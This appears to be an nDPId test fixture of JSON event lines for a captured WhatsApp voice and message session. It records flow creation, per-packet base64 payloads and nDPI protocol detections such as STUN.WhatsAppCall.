+00583{"flow_id":7,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":48,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820570,"pkt_ts_usec":428815,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"ABoRAAACABoRAAABCABFwACaAABAAEARwL0KCAABHw1PwNF0DZYAhsORAAMAaiESpEIAAFk9lyNgFikbVyNAAABmAQCy86Qxc0\/TrfZVVa\/eTEZDohPoeRLoRZc1aFVhrGc1f8RW2vMjT5P8rAsiwZ+p9NloXItIT0xPBspixBWhh83rOo673FqXfKhsmqCbgcYysEXxS1G0BQlmTNaw3EzKh7wFRa3N"} +00471{"flow_id":7,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":49,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820570,"pkt_ts_usec":876782,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ABoRAAACABoRAAABCABFAABIABlAABAR8bYfDU\/ACggAAQ2W0XQANGAYAQMAGCESpEIAAFk9lyNgFikbVyMAIAAIAAGLCJ6wzx5AAgAIAAABTZrC20w="} +00491{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":50,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1432820570876,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"31.13.93.48","src_port":53620,"dst_port":3478,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00584{"flow_id":8,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":50,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820570,"pkt_ts_usec":876843,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"ABoRAAACABoRAAABCABFwACaAABAAEARs00KCAABHw1dMNF0DZYAhn\/sAAMAaiESpEIAABBswYmYde0br2NAAABmAQCy86Qxc0\/TrfZVVa\/eTEZDohPoeRLoRZc1aFVhrGc1f8RW2vMjT5P8rAsiwZ+p9NloXItIT0xPBspixBWhh83rOo673FqXfKhsmqCbgcYysEXxS1G0BQlmTNaw3EzKh7wFRa3N"} +00533{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":50,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1432820570876,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"31.13.93.48","src_port":53620,"dst_port":3478,"l4_proto":"udp","ndpi": {"proto":"STUN.WhatsAppCall","breed":"Acceptable","category":"VoIP"}} +00470{"flow_id":8,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":51,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820571,"pkt_ts_usec":176892,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ABoRAAACABoRAAABCABFAABIABpAABAR5EUfDV0wCggAAQ2W0XQANAkRAQMAGCESpEIAABBswYmYde0br2MAIAAIAAGc8p6wzx5AAgAIAAABTZrC3MQ="} +00584{"flow_id":8,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":52,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820571,"pkt_ts_usec":176953,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"ABoRAAACABoRAAABCABFwACaAABAAEARs00KCAABHw1dMNF0DZYAhn\/sAAMAaiESpEIAABBswYmYde0br2NAAABmAQCy86Qxc0\/TrfZVVa\/eTEZDohPoeRLoRZc1aFVhrGc1f8RW2vMjT5P8rAsiwZ+p9NloXItIT0xPBspixBWhh83rOo673FqXfKhsmqCbgcYysEXxS1G0BQlmTNaw3EzKh7wFRa3N"} +00470{"flow_id":8,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":53,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820571,"pkt_ts_usec":488171,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ABoRAAACABoRAAABCABFAABIABtAABAR5EQfDV0wCggAAQ2W0XQANLfgAQMAGCESpEIAABBswYmYde0br2MAIAAIAAHs556wzx5AAgAIAAABTZrC3f8="} +00491{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":54,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1432820571488,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"31.13.73.48","src_port":53620,"dst_port":3478,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00583{"flow_id":9,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":54,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820571,"pkt_ts_usec":488232,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"ABoRAAACABoRAAABCABFwACaAABAAEARx00KCAABHw1JMNF0DZYAhta5AAMAaiESpEIAAOlKSWdSWOu7U1dAAABmAQCy86Qxc0\/TrfZVVa\/eTEZDohPoeRLoRZc1aFVhrGc1f8RW2vMjT5P8rAsiwZ+p9NloXItIT0xPBspixBWhh83rOo673FqXfKhsmqCbgcYysEXxS1G0BQlmTNaw3EzKh7wFRa3N"} +00533{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":54,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1432820571488,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"31.13.73.48","src_port":53620,"dst_port":3478,"l4_proto":"udp","ndpi": {"proto":"STUN.WhatsAppCall","breed":"Acceptable","category":"VoIP"}} +00470{"flow_id":9,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":55,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820571,"pkt_ts_usec":716839,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ABoRAAACABoRAAABCABFAABIABxAABAR+EMfDUkwCggAAQ2W0XQANGvUAQMAGCESpEIAAOlKSWdSWOu7U1cAIAAIAAGOsJ6wzx5AAgAIAAABTZrC3xA="} +00583{"flow_id":9,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":56,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820571,"pkt_ts_usec":716900,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"ABoRAAACABoRAAABCABFwACaAABAAEARx00KCAABHw1JMNF0DZYAhta5AAMAaiESpEIAAOlKSWdSWOu7U1dAAABmAQCy86Qxc0\/TrfZVVa\/eTEZDohPoeRLoRZc1aFVhrGc1f8RW2vMjT5P8rAsiwZ+p9NloXItIT0xPBspixBWhh83rOo673FqXfKhsmqCbgcYysEXxS1G0BQlmTNaw3EzKh7wFRa3N"} +00470{"flow_id":9,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":57,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820571,"pkt_ts_usec":916791,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ABoRAAACABoRAAABCABFAABIAB1AABAR+EIfDUkwCggAAQ2W0XQANFhcAQMAGCESpEIAAOlKSWdSWOu7U1cAIAAIAAGhVZ6wzx5AAgAIAAABTZrC3+M="} +00583{"flow_id":9,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":68,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820571,"pkt_ts_usec":925213,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"ABoRAAACABoRAAABCABFwACaAABAAEARx00KCAABHw1JMNF0DZYAhta4AAMAaiESpEIAAOlKSWdSWOu7U1hAAABmAQCy86Qxc0\/TrfZVVa\/eTEZDohPoeRLoRZc1aFVhrGc1f8RW2vMjT5P8rAsiwZ+p9NloXItIT0xPBspixBWhh83rOo673FqXfKhsmqCbgcYysEXxS1G0BQlmTNaw3EzKh7wFRa3N"} +00470{"flow_id":9,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":69,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820572,"pkt_ts_usec":158307,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ABoRAAACABoRAAABCABFAABIACNAABAR+DwfDUkwCggAAQ2W0XQANAYmAQMAGCESpEIAAOlKSWdSWOu7U1gAIAAIAAHyn56wzx5AAgAIAAABTZrC4M4="} +00583{"flow_id":9,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":70,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820572,"pkt_ts_usec":165112,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"ABoRAAACABoRAAABCABFwACaAABAAEARx00KCAABHw1JMNF0DZYAhta4AAMAaiESpEIAAOlKSWdSWOu7U1hAAABmAQCy86Qxc0\/TrfZVVa\/eTEZDohPoeRLoRZc1aFVhrGc1f8RW2vMjT5P8rAsiwZ+p9NloXItIT0xPBspixBWhh83rOo673FqXfKhsmqCbgcYysEXxS1G0BQlmTNaw3EzKh7wFRa3N"} +00470{"flow_id":9,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":71,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820572,"pkt_ts_usec":348004,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ABoRAAACABoRAAABCABFAABIACRAABAR+DsfDUkwCggAAQ2W0XQANP21AQMAGCESpEIAAOlKSWdSWOu7U1gAIAAIAAH6TJ6wzx5AAgAIAAABTZrC4ZE="} +00489{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":83,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1432820624900,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"158.85.58.42","src_port":44819,"dst_port":5222,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00456{"flow_id":10,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":83,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820624,"pkt_ts_usec":900403,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA85gNAAEAGcjAKCAABnlU6Kq8TFGbeopMoAAAAAKACOQiB\/gAAAgQFtAQCCAoABHUrAAAAAAEDAwQ="} +00428{"flow_id":10,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":84,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820625,"pkt_ts_usec":66907,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoACpAABAGiB6eVToqCggAARRmrxMhXWzX3qKTKVAS\/\/8J0AAA"} +00426{"flow_id":10,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":85,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820625,"pkt_ts_usec":66998,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo5gRAAEAGckMKCAABnlU6Kq8TFGbeopMpIV1s2FAQOQjQyAAA"} +00665{"flow_id":10,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":86,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820625,"pkt_ts_usec":127209,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"ABoRAAACABoRAAABCABFAADW5gVAAEAGcZQKCAABnlU6Kq8TFGbeopMpIV1s2FAYOQiM9AAAV0EBBQAAF\/gFAaWRifwPQW5kcm9pZC0yLjEyLjg0AAAZ+AKc+AT4AfwHcHJpdmFjefgBgPgBQPgBeAAAcfgGDLX\/h1UhmCkBUQ9Wv\/xgh6a0qORalzv9K+A3Px6hUhb6jwXc6Ej7FBOMCTdPUuUjBhSU7s5Tq1T61hSt9KYay7IXEXGf+AS1mrCQKce9PRHosCQ7C40kcUox4ydcJfjBmcr5Nu0FofGiYRkgGyui"} +00429{"flow_id":10,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":87,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820625,"pkt_ts_usec":128338,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoACtAABAGiB2eVToqCggAARRmrxMhXWzY3qKT11AQ\/\/8JIwAA"} +00583{"flow_id":2,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":88,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820625,"pkt_ts_usec":171734,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"ABoRAAACABoRAAABCABFwACaAABAAEARvE0KCAABHw1UMNF0DZYAhkYnCAAAaiESpEIAANFg4Ox4XqyZam1AAABmAQCy86Qxc0\/TrfZVVa\/eTEZDohPoeRLoRZc1aFVhrGc1f8RW2vMjT5P8rAsiwZ+p9NloXItIT0xPBspixBWhh83rOo673FqXfKhsmqCbgcYysEXxS1G0BQlmTNaw3EzKh7wFRa3N"} +00583{"flow_id":3,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":89,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820626,"pkt_ts_usec":171765,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"ABoRAAACABoRAAABCABFwACaAABAAEARxk0KCAABHw1KMNF0DZYAhkHCCAAAaiESpEIAABwXmwtuMPN7N0lAAABmAQCy86Qxc0\/TrfZVVa\/eTEZDohPoeRLoRZc1aFVhrGc1f8RW2vMjT5P8rAsiwZ+p9NloXItIT0xPBspixBWhh83rOo673FqXfKhsmqCbgcYysEXxS1G0BQlmTNaw3EzKh7wFRa3N"} +00583{"flow_id":4,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":90,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820627,"pkt_ts_usec":171490,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"ABoRAAACABoRAAABCABFwACaAABAAEAR0E0KCAABHw1AMNF0DZYAhjStCAAAaiESpEIAAKkWq28lYULzqlJAAABmAQCy86Qxc0\/TrfZVVa\/eTEZDohPoeRLoRZc1aFVhrGc1f8RW2vMjT5P8rAsiwZ+p9NloXItIT0xPBspixBWhh83rOo673FqXfKhsmqCbgcYysEXxS1G0BQlmTNaw3EzKh7wFRa3N"} +00583{"flow_id":5,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":91,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820628,"pkt_ts_usec":171429,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"ABoRAAACABoRAAABCABFwACaAABAAEARCI0KCAABrfx5AdF0DZYAhjKbCAAAaiESpEIAAJtQaIETIh2AbQpAAABmAQCy86Qxc0\/TrfZVVa\/eTEZDohPoeRLoRZc1aFVhrGc1f8RW2vMjT5P8rAsiwZ+p9NloXItIT0xPBspixBWhh83rOo673FqXfKhsmqCbgcYysEXxS1G0BQlmTNaw3EzKh7wFRa3N"} +01748{"flow_id":10,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":92,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820629,"pkt_ts_usec":171429,"pkt_caplen":1022,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1022,"pkt_l4_len":988,"pkt":"ABoRAAACABoRAAABCABFAAPwACxAABAGhFSeVToqCggAARRmrxMhXWzY3qKT11AQ\/\/+\/zAAAAAAF+AMBOpEAAAP4AZyAAD2h8+X4ZcgbylABY\/zFFyPrU0O4UmKyRJjyhkznVpeNRJWJTVoLrC\/OXFltXeYZwGdKReC63ojbwqRcOFZngABDWm9KRZS06wV2EFhYdJ6SeqqCTblIBKJHzfUIGAvoAxnW2ztC+ox6pBujKOvXU0FA8X2iEt70dRLgiuIFND3gkxNd7oABPNIEqU1ocHf33FPX2ocj+oFRtaGTIVaIMgcyLtj9dkt4\/nkworepvryZbNfc1VNZ43SxYD+OXi6z4T8UR6kJ1YyYZb2GZU5tLObVOWF9Qp2KVwIJU9n1vw4ADdDnaSBFugwL3SzAoEnqAV6gNlrvscPH3duannVPKmAebnezToNvFNgqkxnbQG8kYBxRotEAtp\/5qHRqTU1kmVTV\/0VPnL\/qC5MqKTCucW5+P97NC5+u1+Tu0E9oXdXe+FeYmv4cdKHWUmxmdH3P5VSIg9LyzfgEd680r1aKzudxhJDSYbc9mI3VpybjBg8kymXMMWtTlnEiALz6l9Z\/9vmv2JL2RFcalm\/ld8BaUBjrdnc8BJ4mUyfMMPmZ2VFRU5GQLLlPtTiYs+IVqz84jh8v4J7VWNEL3eiDMZCS0sGvrMqAAYYWCsy96qh\/haF4abFiD3cajfqipcTA0cJufKnlzGgCAeCQqaoBs\/XrRIXleICyll5UbER+Exylz\/sMI\/TvI59Pe7R661q1aPsSMJQ9Ssqtw0qaJmTxo5kJUzVVQpIxSMqfSY59pIj8meYqbfSuHAGDoiirAZNTFTrE6SXcS1cSjM5R4SwAK9J4prKbFzLYmpBSXr+nX9L\/VtQMmeo99kwOibzmRQViDLt0G7K09iezG3bege8e+O\/3fg8\/DA8oTnrHDk\/XHcBQ0ZRK5khtZ2s\/DOzXPlJ5e8AcyMPkefr00zF0GCWrSFunI5ENlHF4jLMvkce+DWsIZbxM1FsLTN9d1V9gwdbJYrN8gfOReeD7lv0nUC1UdDER5A4c3CS\/qGuexbv7KVAPuGMdVDxVXg74utm\/hhf6io5eRYYmqjnpgzLZxfUOFtclp0EVKWjGRUJISaL525zkiUyU39vYpgd5e3a8f\/hfVSDEcfzagppMbTInXOV\/2WWGmWMV7c8NPDsEvfTSB2OAABJmoRByRIXk9GScTDQl65a7ZCOAAFSU25+dEZ2BFchUY8AyByakS6JzsSxUq9Jli0oEnglhgqWOSyEWlPQARrGvwYOgY85PYjoI1Z4zmkkjzRFe0Kh6YHxtaP3tfZko+gkLaDsfLjQ1V7U="} +00583{"flow_id":6,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":93,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820629,"pkt_ts_usec":171551,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"ABoRAAACABoRAAABCABFwACaAABAAEARvB0KCAABszzAMNF0DZYAhjrVCAAAaiESpEIAALo2Lkt1PTwMswlAAABmAQCy86Qxc0\/TrfZVVa\/eTEZDohPoeRLoRZc1aFVhrGc1f8RW2vMjT5P8rAsiwZ+p9NloXItIT0xPBspixBWhh83rOo673FqXfKhsmqCbgcYysEXxS1G0BQlmTNaw3EzKh7wFRa3N"} +00583{"flow_id":7,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":94,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820630,"pkt_ts_usec":172009,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"ABoRAAACABoRAAABCABFwACaAABAAEARwL0KCAABHw1PwNF0DZYAhruTCAAAaiESpEIAAFk9lyNgFikbVyRAAABmAQCy86Qxc0\/TrfZVVa\/eTEZDohPoeRLoRZc1aFVhrGc1f8RW2vMjT5P8rAsiwZ+p9NloXItIT0xPBspixBWhh83rOo673FqXfKhsmqCbgcYysEXxS1G0BQlmTNaw3EzKh7wFRa3N"} +00583{"flow_id":8,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":95,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820631,"pkt_ts_usec":171460,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"ABoRAAACABoRAAABCABFwACaAABAAEARs00KCAABHw1dMNF0DZYAhnfuCAAAaiESpEIAABBswYmYde0br2RAAABmAQCy86Qxc0\/TrfZVVa\/eTEZDohPoeRLoRZc1aFVhrGc1f8RW2vMjT5P8rAsiwZ+p9NloXItIT0xPBspixBWhh83rOo673FqXfKhsmqCbgcYysEXxS1G0BQlmTNaw3EzKh7wFRa3N"} +00583{"flow_id":9,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":96,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820632,"pkt_ts_usec":171338,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"ABoRAAACABoRAAABCABFwACaAABAAEARx00KCAABHw1JMNF0DZYAhs66CAAAaiESpEIAAOlKSWdSWOu7U1lAAABmAQCy86Qxc0\/TrfZVVa\/eTEZDohPoeRLoRZc1aFVhrGc1f8RW2vMjT5P8rAsiwZ+p9NloXItIT0xPBspixBWhh83rOo673FqXfKhsmqCbgcYysEXxS1G0BQlmTNaw3EzKh7wFRa3N"} +00427{"flow_id":10,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":97,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820633,"pkt_ts_usec":171368,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo5gZAAEAGckEKCAABnlU6Kq8TFGbeopPXIV1woFAQQEjFEgAA"} +00468{"flow_id":10,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":98,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820633,"pkt_ts_usec":171429,"pkt_caplen":84,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":84,"pkt_l4_len":50,"pkt":"ABoRAAACABoRAAABCABFAABG5gdAAEAGciIKCAABnlU6Kq8TFGbeopPXIV1woFAYQEg1\/gAAgAAb78l1yKPmE48GOiEZVqFHKYQhqE8rljRx6FSX"} +00429{"flow_id":10,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":99,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820633,"pkt_ts_usec":171551,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAC1AABAGiBueVToqCggAARRmrxMhXXCg3qKT9VAQ\/\/8FPQAA"} +01156{"flow_id":10,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":100,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820633,"pkt_ts_usec":171582,"pkt_caplen":590,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":590,"pkt_l4_len":556,"pkt":"ABoRAAACABoRAAABCABFAAJA5ghAAEAGcCcKCAABnlU6Kq8TFGbeopP1IV1woFAQQEj69AAAgAAU4bV0d9+3ct\/naXoajzRtgjqWfNyAAB5sCyUFn4wMPyo9Se\/uPaX0mpMnrOw+OudXIiunWcaAAD34fRWx4M2yDoNv2wQZGwEqEzzw7bEE6K95VIxlNMK7ocUoF1fsPB9nLbrRfxbNlP+U35qMfhQGisf7Lkx4gAAV7rJKfrNhTqJmhEmmmjw1bujFICTJgABOzTiB9znZ\/55PXPZtIT39XdXSsvkBOJ\/nP48tf+i2whFiKIaoTja1ivBH3f\/qP7R4hB4zA5rGXgm3MbZFpY+jkvgXop9+n4FcIuBOjRMhgABOqX1qKwwN3DLT2Wz2bxNpksap9fJzstcxAcW7DtouJmMkmaofzeI3Iblxe0rH90SUHLlngA8aE5Ot0GZZJ\/QdKIw3f3AFBCKEQ4V175vEgABO184MHpyEneo98O9f8Pm3kK97WTuEzMQbNwVtXbYKF8PKv3EAj4zLg5MyZCOiPAsjNMsSufSqPQPkDvOnsz6fJuilQFifEhfqp70ovYPSgABOfPBGM2Bhe\/b2ahkIl3vK\/IFIC4IFd3k1yl0b1xfs1zEke6GOalPJEs4d3BV9LtjUbZcNSS3bXjf2rTecHDO452JaUK1bNGwuKEeCvW0qgABO1pN0hBky1oO6yXjW3dhjR8WEDNLPl0aLxzGkXRirZs5NL+ArfruVgR7JCbqgj9bBPdH7eIKiDmRayxcYbHT5RT8="} 